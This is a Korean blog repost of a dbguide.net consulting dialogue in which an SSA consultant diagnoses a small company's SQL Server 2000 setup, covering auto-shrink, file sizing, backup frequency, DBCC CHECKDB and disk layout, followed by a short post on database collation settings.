<신청자> 입출고 관리 프로그램에서 수행되는 테이블 목록 중에서 수불과 마감 프로세스가 느리다. 수불에서 데이터를 가져와서 마감을 하는 프로세스인데, 이때 속도가 많이 느려졌다. 테이블에서 데이터 수집할 때도 느렸었는데 부분은 하드디스크 증설과 윈도우 재설치 후에 좋아졌다.   

<전문가> 그럼 실제 SQL 서버에 접속해서 설정이 제대로 되어 있는지, 쿼리의 문제가 있는 부분이 있는지 같이 하나씩 살펴보자.

<신청자> 데이터베이스는 comm sale 있으며, comm 시스템의 기준정보를 저장하기 위한 목적으로 사용되고, 실제 트랜잭션 정보는 sale 데이터베이스에 저장되어 있다. Sale 데이터베이스는 500MB 크기이며, 전체 복구 모델을 사용하고 있다.

<전문가> 보니까 전체 DB 사이즈가 400MB(데이터베이스 파일 375MB, 로그파일 40MB)이고, 디스크 C 저장하고 있다. 자동축소 기능을 쓰고 있는데, 기능은 해제해야 한다. 자동 축소 기능은, 인터벌 타임마다 용량을 체크해서 여유 공간이 나오면 자동으로 줄여 버린다. 상태에서 다시 데이터가 늘어나면 자동증가 하게 되고 다시 자동증가한 크기가 자동축소 임계값 기준으로 여유공간이 남게 되면 자동축소 되는 과정이 반복되는 문제 발생의 원인이 있다. 또한 자동축소나 자동증가가 일어나는 동안에는 해당 영역에 대해서는 잠금이 설정되기 때문에 I/O 병목현상의 원인이 있다. 실행 DB 환경에는 기능은 해제하고 사용하는 것이 좋다. 기능은 바로 해제하도록 하겠다.

<전문가> 그리고 계정은 sa 계정을 사용하고 있는데, 보안 때문에 별도 관리 계정을 만드는 것이 좋다. 파일 증가를 400MB 제한하도록 설정했는데, 특별한 이유가 있는지.

<신청자> 특별한 이유가 있는 것은 아니고, 인터넷에서 기본 설정 가이드라인이 그렇게 되어 있는 것을 봤다.

<전문가> 데이터는 늘어나기 마련이기 때문에 파일 증가는무제한으로 두는 것이 바람직하다. 현재 시스템환경으로 봤을 , 데이터 파일의 경우 500MB, 로그 파일은 200MB 정도로 늘려주는 것이 좋다. , 백업할 파일 크기를 기억하고 있다가 복원할 , 디스크상에 백업할 당시 공간이 남아 있어야 복원이 가능하다는 것에는 유념해야 한다. 그리고 백업의 경우엔 데이터와 로그 백업을 F 받아서, 데이터 파일이나 로그 원본 파일과는 분리해서 저장하는 좋을 같다.

<신청자> 인터넷으로 보기로는 로그 파일은 트랜잭션 백업을 하면 비워진다고 해서, 작게 잡았다.

<전문가> 작게 잡은 것이 문제가 되는 것은 아니다. 하지만 저장 공간이 많이 여유로운 상황이 아니기 때문에 좀더 탄력적으로 운영할 필요가 있다. 성능 개선을 위해 인덱스 최적화 등을 권고할 예정이어서 여유 공간이 좀더 필요하기도 하다. 실제 월말 마감 작업을 경우에는 전날 정도 로그 파일 백업 용량을 줄여줬다가 마감 후에 늘리는 식으로 탄력적으로 활용하면 도움이 것이다.  

개선사항 1>> sale 데이터베이스에 자동축소(IsAutoShrink) 옵션이 설정되어 있다. 자동축소가 설정되어 있으면, 주기적으로 데이터베이스의 여유공간을 체크하여 설정한 임계값보다 많은 여유공간이 남은 경우, 데이터베이스를 자동으로 축소하게 된다. 이는 데이터가 계속 증가하는 운영 데이터베이스에서는 권장되지 않는 옵션이기 때문에 설정 해제할 것을 권고한다.  

개선사항 2>> 계속 증가하는 데이터베이스이기 때문에 자동 증가가 업무시간에 발생하지 않도록 하기 위해 데이터베이스 파일 크기를 500MB, 로그파일의 크기를 200MB 정도로 충분히 늘려주는 것을 고려해야 한다.

개선사항 3>> 최대 파일 크기를 제한하는 것보다는 무제한으로 설정하고, 파일 크기를 주기적으로 모니터링하여 디스크 공간부족이 발생하는지 여부를 체크하는 것이 바람직하다.

--확인방법

exec sp_helpdb sale

--실행결과

sale              404.88 MB        sa             7 04 16 2007 Status=ONLINE, Updateability=READ_WRITE,

UserAccess=MULTI_USER, Recovery=FULL, Version=539, Collation=Korean_Wansung_CI_AS,

SQLSortOrder=0,

IsAutoShrink, IsTornPageDetectionEnabled,

IsAutoCreateStatistics, IsAutoUpdateStatistics       80

 

1  C:\Data\MSSQL\Data\sale_Data.MDF    PRIMARY    375168KB     716800KB    102400KB     data only

2  C:\Data\MSSQL\Data\sale_Log.LDF    NULL     39424KB     410624KB     102400KB     log only

 

2-2. 파일 사이즈 점검

<전문가> 현재 파일 사이즈를 보면, 366MB 할당된 데이터 파일 사이즈이고, 306MB 실제 사용되고 있는 것을 확인할 있다.

<신청자> 그럼 지금 너무 많이 사용되고 있는 건가?

<전문가> 할당된 영역 90% 정도 사용되고 있는 상태니까, 여유 공간이 부족하다고 있다. 이런 경우엔 100MB 자동 증가하게 되어 있으니까, 데이터 파일 사이즈를 500MB 정도까지 미리 늘려놓으면 충분할 것이다.

--확인방법

USE SALE

GO

DBCC SHOWFILESTATS

GO

--실행결과

Fileid        FileGroup                     TotalExtents         UsedExtents          Name           

1               1                   5862                  4909                  sale           

 

--계산방법(1 Extent = 8 Pages = 64 KB)

select 5862*8*8/1024. as Reserved

     , 4909*8*8/1024. as Used

, (4909*8*8/1024.)/(5862*8*8/1024.)*100.

 

Reserved                  Used         Usage(%)

366.375000              306.812500     83.7(%)

 

2-3. 테이블 컬럼 점검

<전문가> 사이즈에 대해선 정도 체크를 하고, 테이블을 살펴보도록 하자. 100MB 넘는 테이블이 있는지를 검색해볼 텐데, 별로 없을 같긴 하다. , tb_sfa10(제품 수불) 테이블이 검색되는데, 보면 58 6400건의 데이터가 있고 사이즈가 500MB 된다. 기본적으로 테이블의 전체 데이터 20% 변경되어야 자동통계업데이트가 되기 때문에, 테이블에 저장된 행수가 많아지면 성능에 문제가 있다. DBCC UPDATEUSAGE 명령을 사용하면, sysindexes 저장되어 있는 정보를 최신상태로 업데이트해 준다. 업데이트 결과를 보면, 270MB 낮춰진 것을 확인할 있다. 전에 전체 데이터 사이즈가 400MB인데, tb_sfa10 테이블만 500MB 조회되어서 깜짝 놀랐는데, 이제 정상화가 됐다.

 Tip>> 사용자 지정 메뉴에서 자주 쓰는 명령어를 11개까지 지정할 있다.

<전문가> 여기서 전체 컬럼을 보면 49개나 되고, 행의 크기(전체 컬럼 길이의 ) 524byte 된다.

<신청자> 그럼 데이터페이지 하나에 저장하지 할텐데?

<전문가> 물론 행의 크기가 커지면 데이터베이스 하나에 저장하지 못하기 때문에, 성능에 문제를 있다. 특히 문자열 칼럼의 길이가 실제 필요한 데이터보다 과도하게 설정되어 있는 경우가 많은 것으로 보여진다. 이에 대해서는 성능의 문제가 된다면 수정할 필요가 있다. 현재 3 정도의 신규 데이터가 존재하고 있고. 쿼리를 보면서 다시 살펴보겠지만, 쿼리를 지원하는데 필요한 인덱스가 부족하지 않나 싶다. 부분은 조금 후에 실제 쿼리들을 살펴보면서 인덱스 추가기 필요한 부분은 수정하는 것이 좋을 같다.  

<전문가> 지금 사용되고 있는 현황을 살펴보면, , 근데 아무도 접속이 되어 있네.

<신청자> 오전에 1, 2시간만 사용하고, 오후엔 거의 사용 한다.

<전문가> , 그럼 프로필러를 돌려보자. 프로필러는 익숙하게 사용하나?

<신청자> 지난번에 문제가 있을 프로필러를 알게 됐고, 요즘엔 한번씩 돌려본다. 아직 기능을 많이는 모른다.

<전문가> 기본적인 작업의 50%, 문제를 찾아내는 것의 대부분이 프로필러를 이용해서 이뤄지기 때문에, 툴은 좀더 익숙해지도록 노력할 필요가 있을 같다. 한가지 Tip으로 얘기하면, 금번 작업을 위해, 제공된 템플릿을 사용하면 기본적인 모니터링을 수행할 있다. 앞으로 성능 문제가 있을 때도 이를 실행해서 템플릿을 잡으면, 어떤 부분이 문제가 있는지를 있다. 그리고 데이터베이스ID 대해서 필터를 설정하는 것이 좋다. 1-4까지는 시스템 데이터베이스이기 때문에 5 이상으로 필터조건을 설정하는 것이 효율적일 것이다.

--확인방법

USE SALE

GO

-- 사전에 sysindexes 있는 정보를 최신상태로 업데이트

DBCC UPDATEUSAGE(0)

GO

select object_name(id),name, rows,  rowcnt, rowmodctr, reserved, used, dpages,*

from sysindexes

where id > 100000 and name not like '_WA_Sys%'

order by reserved desc

 

-- tb_sfa10 테이블 정보

테이블명   행수()      할당량(KB)   사용량(KB)   인덱스(KB)   잔량(KB)

tb_sfa10     586,489      270,408        268,704       1,672           32

 

인덱스

tb_sfa10_pk     clustered, unique, primary key located on PRIMARY     CLS_DT,  ITEM_CD,   UNT_QTY

 

칼럼길이합

select sum(length) from syscolumns where id = object_id('tb_sfa10')

524 byte

 

데이터확인

select CLS_DT, count(*) from tb_sfa10 group by CLS_DT

월별로 평균 3 건의 데이터 저장됨

 

3. 운영 진단

<전문가> 이제 유지관리와 관련해서 살펴보자. 백업이 어떻게 되고 있는지 로그를 잠깐 살펴보면, 전체 백업을 2시간마다 수행하고, 1주일간의 백업 데이터를 유지하고 있고, 로그 백업은 10 단위로 하고 있고, 2주일간의 백업 데이터를 유지하고 있다.

<신청자> 인터넷에 보니까, 전체 백업을 1시간에 한번, 10분에 한번씩 한다는 사람들이 많았다. 그래서 이렇게 자주해야 할까 하면서도, 간격을 줄였다. 개발자가 요청해서, 테이블의 데이터를 텍스트 파일 형태로 내보내기 하고 있다.

<전문가> 지금 설정된 것은, 너무 빈번하게 백업을 하고 있는 같다 또한, 백업할 때마다 DBCC CHECKDB 명령이 자동 실행되도록 설정되어 있는 상태이다. 이는 사용자 쿼리에 비해, 유지보수 작업을 위한 DBCC CHECKDB 명령을 위한 작업 부하가 오히려 많은, 배보다 배꼽이 상황이 같다.

<신청자> 처음엔 1시간에 1번씩 백업을 받았었다. 그러다 보니까 백업 용량이 디스크를 채워서, 그나마 2시간으로 늘린 것이다. 

<전문가> 불필요하게 자주 백업을 받고 있다. 전체백업을 1/1, 로그백업을 1/1시간으로 조정해도 충분할 것이다. 백업과 인덱스 재생성 작업을 점심시간에 하는 것은 이유가 있는 것인가. 보통은 야간에 작업을 하는데.

<신청자> 야간엔 사용자가 없기 때문에, 서버를 중단(Shutdown)한다. 오전에만 잠깐 사용자가 몰리기 때문에, 보통 점심 시간에 사용자가 없어서 1시간 정도씩 진행을 한다.  

개선사항 1>> 불필요하게 자주 백업을 진행하고 있으며, 백업을 수행할 때마다 DBCC CHECKDB 통해 시스템의 일관성 검사를 반복 수행하고 있어서, 현재 데이터베이스에 수행되는 쿼리 가장 많은 부하를 발생시키는 쿼리가 되고 있다. 이를 개선하기 위해 전체 백업은 1 1, 로그 백업은 1시간 간격으로 조정할 것을 권고한다.

개선사항 2>> 또한 DBCC CHECKDB 백업시마다 수행할 필요는 없다고 판단돼, 데이터베이스 유지관리 마법사의 해당 옵션은 해제할 것을 권고한다. 또한, 현재 백업본의 관리기간이 서로 다르기 때문에 1주로 통일하면 백업본을 관리하기 위한 디스크 공간을 절약할 있다.

개선사항 3>> 인덱스 재생성 작업은 사용자의 접근을 제한하기 때문에, 향후 데이터베이스의 크기가 커지거나 사용자가 늘어나면 별도의 유지관리 시간을 야간 시간으로 조정하여 수행할 것을 권고한다. 또한 tb_sfa10 테이블과 같은 대용량 테이블에 대해서는 수동 통계 업데이트 정책도 적용할 필요가 있다.

Posted by 시스템매니아
,

출처 : dbguide.net 에 올려진 SSA 성대중 책임 컨설턴트 님의 글

해결! DB D&A>> 중소기업을 위한 SQL Server 기본 모니터링 -1  

백업과 디스크 현황 점검부터 시작

도스코 영업부의 송구현 주임은 비전산 담당자지만, 약 1년 전부터 사내 입출과 관리 프로그램의 관리를 맡고 있다. 최근 성능 저하 현상이 나타나는 애플리케이션에 어떤 문제가 있는지, 기본적으로 SQL Server를 유지 관리하는 방법이 무엇인지를 몰라 답답하던 상황이다. SSA(SQL Server Academy)의 성대중 책임 컨설턴트가 직접 안산 반월공단의 도스코를 방문해 기본적인 SQL Server 설정부터 쿼리 분석, 인덱스 추가에 이르는 방법론을 제시했다.

  • 일시: 2007 5 25
  • 신청자: 도스코 영업부 송구현(song92) 주임
  • 전문가: SSA 성대중 책임 컨설턴트

 




요청사항

1. 애플리케이션 성능 점검 - 프로그램 오류인지 DB 부하 문제인지 검토(DB 문제일 경우 권고안 제시)

2. 데이터베이스 유지관리 - DB 점검 관리 항목과 방법 제안

 

연재 순서

1 시스템 진단(백업 시스템 현황, 디스크 현황)  

2 서버 점검 운영 진단  

3 쿼리 진단(악성 쿼리) 기타 논의 사항, 전문가 총평

 

                 

<전문가> 영업부 주임이신데, 어떻게 SQL 서버 관리를 맡고 있나? 

<신청자> 원래 개발자가 있었는데, 담당자가 2006년에 사내 입출고 관리 프로그램을 개발한 후에 장기간 해외 근무를 하고 있다. 가지 가이드라인이나 조언을 주긴 하는데, DBA 전산 담당자 없이 영업부 소속의 비전문가가 관리하다 보니 어려움이 크다.

<전문가> 구체적으로는 주로 어떤 문제점이 발생했나?

<신청자> 사실 가장 문제점은 지금 제대로 운영되고 있는지 조차 불안하다는 것이다. 업무 시스템이 월말 마감 외에는 오전에 1, 2시간만 주로 사용되는, 사실 그렇게 사용량이 많은 편이 아니다. 그런데도 HDD 용량을 미처 체크하지 못해서 다운된 적이 있었고, 백업을 해놓은 상태여서 복구하는데 어려움이 있었다.

<전문가> 문제가 발생했을 이제까지는 주로 어디를 통해 정보를 얻었었나?

<신청자> 인터넷이다. 네이버카페를 주로 이용했고, 최근에 DBGuide.net 알게 됐다. 하지만 정보들이 지금 우리 시스템 환경과 맞지 않고, 비전문가이다 보니 적용 또는 응용하는 것도 쉽지 않다.

 

1. 시스템 진단

1-1. 서비스팩/패치 점검

<전문가> 우선 SQL Server 운영 상황에 대한 진단을 하고, 요청했던 애플리케이션 성능 점검과 데이터베이스 유지 관리 방안을 전달하는 것이 좋을 같다. 사전에 모니터링 툴을 전달해서, 그에 대한 결과 값을 받았으나 서비스팩과 누적핫픽스가 적용되지 않은 이전 버전(2000.80.194RTM)이어서 모니터링 툴이 제대로 값을 산출하지 못했다. 어차피 DB 관리의 기본 작업이진단 있기 때문에, 우선 진단 과정부터 함께 천천히 살펴보는 것이 좋겠다.

<신청자> 성능에 문제가 있어서 얼마 전에 윈도우 환경을 포맷한 , 패치와 서비스팩 업데이트를 잊고 있었다. 그래도 어제 패치를 업데이트하고, 서비스팩도 SP4(2039) 버전으로 업그레이드했다.

개선 사항>> 최근 Rollup 패키지인 2187 버전의 HotFix 추가로 설치해야 하는 상태이며, 아래의 주소를 참조해 다운로드 받아서 설치할 있다.

http://www.microsoft.com/downloads/details.aspx?displaylang=ko&FamilyID=9c9ab140-bdee-44df-b7a3-e6849297754a

--확인방법

select @@version

--실행결과

Microsoft SQL Server 2000 - 8.00.2039(Intel X86)  May  3 2005 23:18:38   Copyright (c) 1988-2003 Microsoft Corporation  Standard Edition on Windows NT 5.2 (Build 3790: Service Pack )

*<주의> 서비스팩의 적용 HotFix 적용은 기존 애플리케이션의 동작에 영향을 미칠 있기 때문에 운영환경에 적용하기 전에 반드시 테스트 환경에서 테스트되어야 한다.

 

1-2. 백업 시스템 현황 점검

<전문가> 그럼 같이 상황 점검을 해보자. 백업은 어떻게 하고 있는지. 유지관리 메뉴에 보면, 전체 백업과 트랜잭션 로그 백업이라는 2가지 옵션이 있는데 어떻게 사용하고 있나.

<신청자> 테이블 백업을 텍스트로 하고 있다. 개발자가 원하는 사항이다. 그리고 정확한 주기는 설정한지 오래 되어서, 기억이 나지만 전체 백업과 트랜잭션 로그 백업 모두 시행하고 있다.

<전문가> 그럼 복구 모델은 전체 복구 모델을 사용하고 있는 상태이고, 사용 환경은 하이퍼쓰레딩이 가능한 CPU 2개로, 논리적으로는 4개로 있고, 메모리는 1GB. 여유공간이 몇백MB 있는 것으로 봐서 메모리가 부족한 상태는 아니다.

개선사항>> 향후 시스템의 리소스가 부족하게 되면 메모리는 추가할 필요가 있는 상태라고 판단된다. 참고로, 현재 SQL Server 2000 Standard Edition 사용하고 있기 때문에 SQL Server 최대 2GB까지 메모리를 할당할 있다.

--확인방법

Exec master..xp_msver

--실행결과

1               ProductName          NULL       Microsoft SQL Server

2               ProductVersion        524288    8.00.2039

3               Language                 1042        한국어

4               Platform  NULL       NT INTEL X86

5               Comments               NULL       NT INTEL X86

6               CompanyName      NULL       Microsoft Corporation

7               FileDescription        NULL       SQL Server Windows NT

8               FileVersion               NULL       2000.080.2039.00

9               InternalName          NULL       SQLSERVR

10             LegalCopyright       NULL       1988-2004 Microsoft Corp. All rights reserved.

11             LegalTrademarks   NULL       Microsoft?? is a registered trademark of Microsoft Corporation.

12             OriginalFilename    NULL       SQLSERVR.EXE

13             PrivateBuild             NULL       NULL

14             SpecialBuild             133627904              NULL

15             WindowsVersion     248381957              5.2 (3790)

16             ProcessorCount      4               4

17             ProcessorActiveMask              15             0000000f

18             ProcessorType        586           PROCESSOR_INTEL_PENTIUM

19             PhysicalMemory     1023        1023 (1073164288)

20             Product ID                NULL       NULL

 

1-3. 디스크 운영 환경 점검

<전문가> 그러면 하드디스크는 어떻게 사용하고 있는지.

<신청자> 디스크 서브시스템은 현재 RAID5 구성된 C,D 드라이브와, 최근에 공간 부족 문제를 해결하기 위해 추가한 E,F 드라이브로 구성되어 있다. 현재 C 드라이브에 데이터베이스 파일 로그 파일이 저장되어 있으며, D 드라이브에는 스크립트 기반으로 테이블을 텍스트 파일로 내보내기 파일을 저장하고, E 드라이브에는 백업 파일을, F 드라이브에는 기타 관련 파일을 저장하고 있다

<전문가> 기본적으로 디스크는 OS 위한 공간, 데이터베이스 파일을 위한 공간, 로그 파일을 위한 공간, 백업 파일을 위한 공간으로 분리해서 사용하는 것이 일반적인 권고사항이다. 가능하다면, 물리적으로 분리된 디스크 상에 위치하는 것이 바람직하며, 특히 데이터베이스 파일 로그 파일과 백업파일은 별도의 디스크에 위치시키는 것이 좋다. 왜냐하면, 디스크 장애발생시에 데이터베이스 관련 파일과 백업 파일이 같은 디스크상에 존재하면, 복구할 없기 때문이다. 현재로서는 사용량이 많지 않아서 괜찮을 있지만, 이후 점검 후에 디스크 용량 조정이 필요하다면 조치를 취해야 같다.

개선사항>> 현재로서는 사용량이 많지 않기 때문에, 특별한 조치가 필요한 상태는 아니다. 하지만 현재 시스템 볼륨(운영체제가 설치된 볼륨) C 드라이브에 데이터베이스 파일과 로그 파일이 함께 저장되어 있다. 이를 별도의 드라이브로 분산시키면 디스크의 병목현상을 해결할 있다. 또한 가능하다면, 데이터베이스 파일과 로그 파일도 분리하는 것이 바람직하다.

--확인방법

exec master..xp_fixeddrives

--실행결과

C               20266 - Data/Log

D               26685

E               17623 - Backup

F               4570


Posted by 시스템매니아
,
데이터베이스의 Collation 정보를 말합니다.

MSSQL DBMS 는 WINDOWS OS 와 상호작용을 하여 처리하는 경우가 많이 있습니다.

Collaction 정보역시 마찬가지 인데요 이것은, SQL Server의 기본 데이터 정렬을 설정하는 옵션 입니다. MSSQL 을 설치할 때 대부분 Korean_Wansung_CI_AS 으로 설정을 하게 됩니다. 이것의 의미는 "한국어_완성형 문자" 라는 의미 입니다.

테이블에 데이타를 입력할경우, 특정칼럼 기준으로 정렬할경우 완성형으로 비교 판단 하게 되겠지요.

SELECT * FROM ::fn_helpcollations()
GO

쿼리분석기에서 위의 명령을 내리면, MSSQL에서 지원하는 Collaction 정보들이 나오게 됩니다.

Collaction 정보를 변경하고자 한다면,

ALTER DATABASE CollateDb
COLLATE Korean_Wansung_CI_AI
GO

이렇게 하시면 됩니다.
Posted by 시스템매니아
,